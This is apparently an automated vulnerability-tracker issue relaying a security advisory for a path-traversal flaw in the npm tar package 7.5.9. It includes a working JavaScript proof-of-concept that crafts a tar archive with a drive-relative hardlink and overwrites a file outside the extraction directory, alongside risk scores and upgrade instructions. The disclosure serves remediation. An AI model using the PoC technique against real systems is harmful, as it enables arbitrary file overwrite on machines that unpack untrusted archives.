GHSA-qffp-2rhf-9h96 found in npm/tar@7.5.9

## GHSA-qffp-2rhf-9h96 found in npm/tar@7.5.9 
> [!important] 
> **Risk**: `1.95 (Low)`
> **CVSS**: `8.2` 
### Description
### Summary
`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.

### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.

What happens with `linkpath: "C:../target.txt"`:
1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.
2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.
3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.

### PoC
Tested on Arch Linux with `tar@7.5.9`.

PoC script (`poc.cjs`):

```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```

Run:

```bash
cd test-workspace
node poc.cjs && ls -l ../target.txt
```

Observed output:

```text
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt
```

`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.

### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
### Affected component 
The vulnerability is in `pkg:npm/tar@7.5.9`, found in artifacts `pkg:oci/devguard-documentation?repository_url=ghcr.io/l3montree-dev/devguard-documentation&arch=amd64&tag=main-amd64`, `pkg:oci/l3montree-cybersecurity/devguard/devguard-documentation`.
### Recommended fix
Upgrade to version 7.5.10 or later.
```
# Update all vulnerable npm packages
npm audit fix
# Update only this package
npm install tar@7.5.10 
```
### Additional guidance for mitigating vulnerabilities
Visit our guides on [devguard.org](https://devguard.org/risk-mitigation-guides/software-composition-analysis)

<details>

<summary>See more details...</summary>

### Path to component
```mermaid 
 %%{init: { 'theme':'base', 'themeVariables': {
'primaryColor': '#F3F3F3',
'primaryTextColor': '#0D1117',
'primaryBorderColor': '#999999',
'lineColor': '#999999',
'secondaryColor': '#ffffff',
'tertiaryColor': '#ffffff'
} }}%%
 flowchart TD
Your_application(["Your application"]) --- pkg_npm_tar_7_5_9(["pkg:npm/tar\@7.5.9"])

classDef default stroke-width:2px
```
| Risk Factor  | Value | Description | 
| ---- | ----- | ----------- | 
| Vulnerability Depth | `1` | The vulnerability is in a direct dependency of your project. | 
| EPSS | `0.41 %` | The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days. | 
| EXPLOIT | `Not available` | We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database. There are no script kiddies exploiting this vulnerability. | 
| CVSS-BE | `7.1` |  | 
| CVSS-B | `8.2` | - The vulnerability requires local access to the device to be exploited.<br>- It is easy for an attacker to exploit this vulnerability.<br>- An attacker does not need any special privileges or access rights. | 

More details can be found in [DevGuard](https://main.devguard.org/l3montree-cybersecurity/projects/devguard/assets/devguard-documentation/refs/main/dependency-risks/b0c7783f-79dd-57ef-5e06-785691756349)

</details>


--- 
### Interact with this vulnerability
You can use the following slash commands to interact with this vulnerability:

#### 👍   Reply with this to acknowledge and accept the identified risk.
```text
/accept I accept the risk of this vulnerability, because ...
```

#### ⚠️ Mark the risk as false positive: Use one of these commands if you believe the reported vulnerability is not actually a valid issue.
```text
/component-not-present The vulnerable component is not included in the artifact.
```
```text
/vulnerable-code-not-present The component is present, but the vulnerable code is not included or compiled.
```
```text
/vulnerable-code-not-in-execute-path The vulnerable code exists, but is never executed at runtime.
```
```text
/vulnerable-code-cannot-be-controlled-by-adversary Built-in protections prevent exploitation of this vulnerability.
```
```text
/inline-mitigations-already-exist The vulnerable code cannot be controlled or influenced by an attacker.
```

#### 🔁  Reopen the risk: Use this command to reopen a previously closed or accepted vulnerability.
```text
/reopen ... 
```


Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

GHSA-qffp-2rhf-9h96 found in npm/tar@7.5.9 #155